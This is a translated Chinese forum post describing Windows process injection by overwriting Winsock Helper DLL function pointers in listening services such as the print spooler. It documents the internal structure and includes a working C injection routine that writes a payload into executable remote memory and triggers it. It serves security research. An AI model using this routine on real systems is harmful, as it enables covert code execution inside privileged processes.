首页
社区
课程
招聘
[翻译]Windows进程注入: Winsock Helper Functions (WSHX)
2019-8-22 09:24 7659

[翻译]Windows进程注入: Winsock Helper Functions (WSHX)

2019-8-22 09:24
7659

原文:https://modexp.wordpress.com/2019/07/27/process-injection-winsock/

翻译:玉林小学生

校对:Nxe

引言

MSDN手册描述,Winsock Helper函数(WSHX)在Windows Server 2003、Windows Vista及之后版本中被废弃了。但是,Helper Dll在最新的Windows 10构建中仍然被用在TCP、红外蓝牙Hyper-V的socket中,近几年还被用于unix套接字地址族MSDN中已经详细描述了Helper Dll架构的细节,本文只重点关注众多利用Helper Dll进行代码重定向、进程注入的方法中的一个。某Helper Dll的配置功能长期以来一直被滥用,但本文不对其进行详细描述。

Winsock Helper DLL信息

在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winsock\Parameters下可以看到一个传输协议的列表,如图1。

图1:Windows 10 VM支持的传输协议

每个字符串对应一个Helper Dll,详细信息可以在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\协议\Parameters\Winsock下找到。图2展示TCPIP协议对应的详细信息。


图2.传输协议配置
当通过socket()WSASocket()创建一个socket,WINSOCK_HELPER_DLL_INFO结构在插入mswsock.dll!SockHelperDllListHead之前被使用注册表和导出Dll函数的地址进行填充。微软官方文档中没有记录WINSOCK_HELPER_DLL_INFO结构,但可以在网上找到一个该结构老版本的信息。该结构最新版的一些成员只能通过逆向工程来获得,所以我只能保证下面的结构描述在最新的Windows 10构建中有效。
typedef struct _WINSOCK_HELPER_DLL_INFO {
    LIST_ENTRY                  HelperDllListEntry;
    DWORD                       Unknown;
    HANDLE                      DllHandle;
    INT                         MinSockaddrLength;
    INT                         MaxSockaddrLength;
    INT                         MinTdiAddressLength;
    INT                         MaxTdiAddressLength;
    ULONG64                     UseDelayedAcceptance;
    PWINSOCK_MAPPING            Mapping;
    GUID                        ProviderGUID;
    PWSH_OPEN_SOCKET            WSHOpenSocket;
    PWSH_OPEN_SOCKET2           WSHOpenSocket2;
    PWSH_JOIN_LEAF              WSHJoinLeaf;
    PWSH_NOTIFY                 WSHNotify;
    PWSH_GET_SOCKET_INFORMATION WSHGetSocketInformation;
    PWSH_SET_SOCKET_INFORMATION WSHSetSocketInformation;
    PWSH_GET_SOCKADDR_TYPE      WSHGetSockaddrType;
    PWSH_GET_WILDCARD_SOCKADDR  WSHGetWildcardSockaddr;
    PWSH_GET_BROADCAST_SOCKADDR WSHGetBroadcastSockaddr;
    PWSH_ADDRESS_TO_STRING      WSHAddressToString;
    PWSH_STRING_TO_ADDRESS      WSHStringToAddress;
    PWSH_IOCTL                  WSHIoctl;
} WINSOCK_HELPER_DLL_INFO, *PWINSOCK_HELPER_DLL_INFO;

定位SockHelperDllListHead

mswsock.dll!SockHelperDllListHead是一个LIST_ENTRY结构的全局变量。定位该结构最简单、最快速方法是搜索.data段中指向堆内存的指针。进行搜索前,需要在本地创建一个“虚拟”TCP/IP 套接字来初始化该结构。一旦找到该结构,要把保存为相对虚拟地址(Relative Virtual Address)的堆指针地址加上远程进程中mswsock.dll的基地址。你可以使用SymFromName()IDebugSymbols::GetOffsetByName来定位准确地址,但PoC搜索.data段来避免依赖任何调试符号。

定位Processes

任何使用Winsock函数的进程都是潜在的注入目标。但是,为了简化,PoC只选择监听TCP/IPv4端口上入站连接的进程。该进程还必须准许被我们打开进行虚拟内存读写来重写函数指针。图3列出Windows 10 VM中满足这些规则的有效进程列表。

图3.Windows下监听TCP/IPV4端口
图4中显示的后台服务使用了红外sockets。

图4.后台打印服务相关的IrDA socket函数
COM(Component Object Model)和DCOM(Distributed COM)中关键的RPC(Remote Procedure Call)和RPC端点映射使用了Hyper-V sockets,如图5所示。

图5.RPC服务和RPC端点映射的Hyper-V socket函数
有许多触发Winsock函数执行的方法,但至今最简单的方法是连接到一个监听状态的端口导致调用Tcpip4_WSHGetSocketInformation。这个函数IPv4和IPv6都有使用,所以与进程使用的协议版本无关。还有一个方法值得一提,但只影响使用DnsQuery_A来解析IP地址的Windows DNS缓存服务。该请求导致调用WSHOpenSocket*函数来建立与远程DNS服务器的连接。图6列出TCP/IPv4函数。

图6.mswsock.dll中的TCP/IPv4函数

进程注入

在图7中可以看到notepad运行在spooler服务之下。我以这个作为演示注入的例子。

图7. 注入后Notepad运行在Spooler打印服务下面

下面是核心注入代码。想更详细了解它如何工作在这里看完整PoC。

VOID inject(DWORD pid, WORD port, LPVOID payload, DWORD payloadSize) {
	DWORD                   rva, r;
	HANDLE                  hp;
	WINSOCK_HELPER_DLL_INFO hdi;
	LPVOID                  cs, addr;
	SIZE_T                  wr;
	SOCKET                  s;
	struct sockaddr_in      sin;

	// 1. Try open process for reading/writing VM
	// 1. 尝试打开进程来进行读写虚拟内存
	hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	if (hp == NULL) {
		printf("Unable to open PID : %i\n", pid);
		return;
	}

	// 2. Get helper DLL entry for TCP v4
	// 2. 获取TCP v4的helper DLL的入口
	addr = GetHelperDLLInfo(hp, pid, &hdi);

	if (addr != NULL) {
		// 3. Create a windows socket and write the payload to remote process
		// 3. 创建一个windows socket 并向远程进程写payload
		s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

		cs = VirtualAllocEx(hp, NULL, payloadSize,
			MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

		// 4. Update the function pointer with pointer to payload
		// 4. 修改函数指针指向payload
		WriteProcessMemory(
			hp,
			(PBYTE)addr + offsetof(WINSOCK_HELPER_DLL_INFO, WSHGetSocketInformation),
			&cs,
			sizeof(ULONG_PTR),
			&wr);

		// 5. Trigger it with connection to the port on localhost
		// 5. 连接localhost的端口来触发调用payload
		sin.sin_family = AF_INET;
		sin.sin_port = htons(port);
		sin.sin_addr.s_addr = inet_addr("127.0.0.1");

		connect(s, (struct sockaddr*)&sin, sizeof(sin));

		// wait a moment before restoring pointer
		Sleep(0);

		// 6. Restore function pointer and clean up
		// 6. 恢复函数指针并清理
		WriteProcessMemory(
			hp,
			(PBYTE)addr + offsetof(WINSOCK_HELPER_DLL_INFO, WSHGetSocketInformation),
			&hdi.WSHGetSocketInformation,
			sizeof(ULONG_PTR),
			&wr);

		VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
		closesocket(s);
	}
	CloseHandle(hp);
}

结论

通过修改远程进程的Winsock Helper函数来执行payload是可行的。PoC以监听服务作为目标仅仅是因为它们是最容易注入的。你可能会说这些服务运行在高完整性级别上,攻击者很难利用。系统中也有许多低完整性级别的进程使用Winsock helper函数进行出站连接,或者也可以基于其它I/O机制,如RPC、ALPC和窗口消息,来导致执行同样的helper函数。系统中也有一些对管理员有效的接口,在执行某些特定任务是会利用Winsock helper函数。我仅针对这个进行了实现,但不意味着只有TCP/IP侦听者被影响。 


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-8-22 09:28 被0sWalker编辑 ,原因: 修改代码缩进
收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 12837
活跃值: (8993)
能力值: ( LV9,RANK:280 )
在线值:
发帖
回帖
粉丝
hzqst 3 2019-8-22 10:05
2
0
带手子:又有新的注入可以玩儿了
雪    币: 1038
活跃值: (1216)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
StriveXjun 2019-8-22 10:24
3
0
能拿到进程的full access权限,注入的方法也挺多的。
雪    币: 914
活跃值: (2183)
能力值: ( LV5,RANK:68 )
在线值:
发帖
回帖
粉丝
万剑归宗 1 2019-8-22 17:55
4
0
脱裤子放P系列?
游客
登录 | 注册 方可回帖
返回